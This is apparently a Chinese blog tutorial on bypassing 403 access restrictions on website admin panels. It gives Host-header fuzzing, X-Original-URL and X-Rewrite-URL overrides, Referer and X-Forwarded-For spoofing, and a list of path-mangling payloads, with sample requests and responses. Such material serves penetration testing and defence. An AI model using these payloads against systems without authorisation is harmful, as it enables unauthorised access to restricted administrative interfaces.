出现403 forbidden网页情况的处理方法

3,217 阅读4分钟

本文已参与「新人创作礼」活动,一起开启掘金创作之路。

前言

一般情况下,网站的后台管理地址仅允许工作区内网出口访问,对于访问的IP是有限制的,外网进行访问返回403状态码。如下图:

image.png

一些探索

1、 总所周知,浏览器有个叫“同源策略”的安全机制。不同协议、不同端口、不同主机之间无法互相访问资源。那么可以从这点出发来思考。

例如后台地址为:admin.test.com ,首先进行端口信息收集,利用nmap进行全端口探测,一般除了80和443端口开放,其它都应该是关闭的。但有时可能忘了关闭测试端口,还开放了其它web服务的端口,假设是8081,尝试使用8081端口访问:admin.test.com:8081 ,发现可以绕过IP限制进行访问。

image.png

2、 HTTP请求的header都带有host字段。host字段在请求头中的作用是可能被用来处理请求。因为现在流行虚拟主机,同一个IP可能有多个网站,几个网站部署在同一个服务器上,或者几个 web 系统共享一个服务器,通过host头来指定应该由哪个网站或者web系统来处理用户的请求。导致一些WEB应用通过获取HTTP HOST头来获得当前请求访问的位置,但是很多开发人员并未意识到HTTP HOST头由用户控制,从安全角度来讲,任何用户输入都是认为不安全的。

在服务器获取HOST的方式不当的前提下,可以考虑通过修改host字段的值来进行绕过。首先对目标域名进行子域名收集,整理好子域名资产(host字段同样支持IP地址)。先Fuzz测试跑一遍收集到的子域名,这里使用的是Burp的Intruder功能。例如我们构造如下请求头:

GET /admin/login
host: mail.test.com

运气好的话能碰到一个返回200的状态码。意味着成功找到一个在HOST白名单中的子域名。利用插件来修改HOST值,即可处理403访问限制。关于host还有很多,就不一一赘述了,具体参考:传送门

3、有些应用会支持非标准的请求头,例如:X-Original-URL或者X-Rewrite-URL。尝试盖目标url值。这种方式适合于权限控制是基于请求链接限制的情况。通过支持X-Original-URL和X-Rewrite-URL标头,用户可以使用X-Original-URL或X-Rewrite-URL HTTP请求标头覆盖请求URL中的路径,尝试绕过对更高级别的缓存和Web服务器的限制。

Request
  GET /auth/login HTTP/1.1
  Response
  HTTP/1.1 403 Forbidden
  
  Reqeust
  GET / HTTP/1.1
  X-Original-URL: /auth/login
  Response  HTTP/1.1 200 OK
 
  or
  
  Reqeust
  GET / HTTP/1.1
  X-Rewrite-URL: /auth/login
  Response
  HTTP/1.1 200 OK

如果使用了”X-Original-URL”或者“X-Rewrite-URL“请求的响应包中提示”不存在的路径信息“或者是404状态,或者是”资源未发现“等相关内容,表明应用程序支持这两种特殊的请求头。此时我们可以指定”X-Original-URL”或者“X-Rewrite-URL“为”/console“或者”/admin“,尝试绕过禁止互联网访问的限制。

4、Referer字段也是请求头部重要字段,尝试使用Referer标头处理403的情况。Referer 请求头包含了当前请求页面的来源页面的地址,即表示当前页面是通过此来源页面里的链接进入的。服务端一般使用 Referer 请求头识别访问来源。

Request
GET /auth/login HTTP/1.1
Host: xxx
Response
HTTP/1.1 403 Forbidden
Reqeust
GET / HTTP/1.1
Host: xxx
ReFerer:https://xxx/auth/loginResponseHTTP/1.1 200 OK
or
Reqeust
GET /auth/login HTTP/1.1
Host: xxx
ReFerer:https://xxx/auth/login
Response
HTTP/1.1 200 OK

5、有的web应用会通过Nginx代理识别访问端IP限制对接口的访问,尝试使用 X-Forwarded-For、X-Forwared-Host等标头绕过Web服务器的限制。

- X-Originating-IP: 127.0.0.1
- X-Remote-IP: 127.0.0.1
- X-Client-IP: 127.0.0.1
- X-Forwarded-For: 127.0.0.1
- X-Forwared-Host: 127.0.0.1
- X-Host: 127.0.0.1
- X-Custom-IP-Authorization: 127.0.0.1

例如:

Request
GET /auth/login HTTP/1.1
Response
HTTP/1.1 401 Unauthorized
Reqeust
GET /auth/login HTTP/1.1
X-Custom-IP-Authorization: 127.0.0.1
Response
HTTP/1.1 200 OK

6、还有就是可以考虑扩展名,例如:

site.com/admin => 403
site.com/admin/ => 200
site.com/admin// => 200
site.com//admin// => 200
site.com/admin/* => 200
site.com/admin/*/ => 200
site.com/admin/. => 200
site.com/admin/./ => 200
site.com/./admin/./ => 200
site.com/admin/./. => 200
site.com/admin/./. => 200
site.com/admin? => 200
site.com/admin?? => 200
site.com/admin??? => 200
site.com/admin..;/ => 200
site.com/admin/..;/ => 200
site.com/%2f/admin => 200
site.com/%2e/admin => 200
site.com/admin%20/ => 200
site.com/admin%09/ => 200
site.com/%20admin%20/ => 200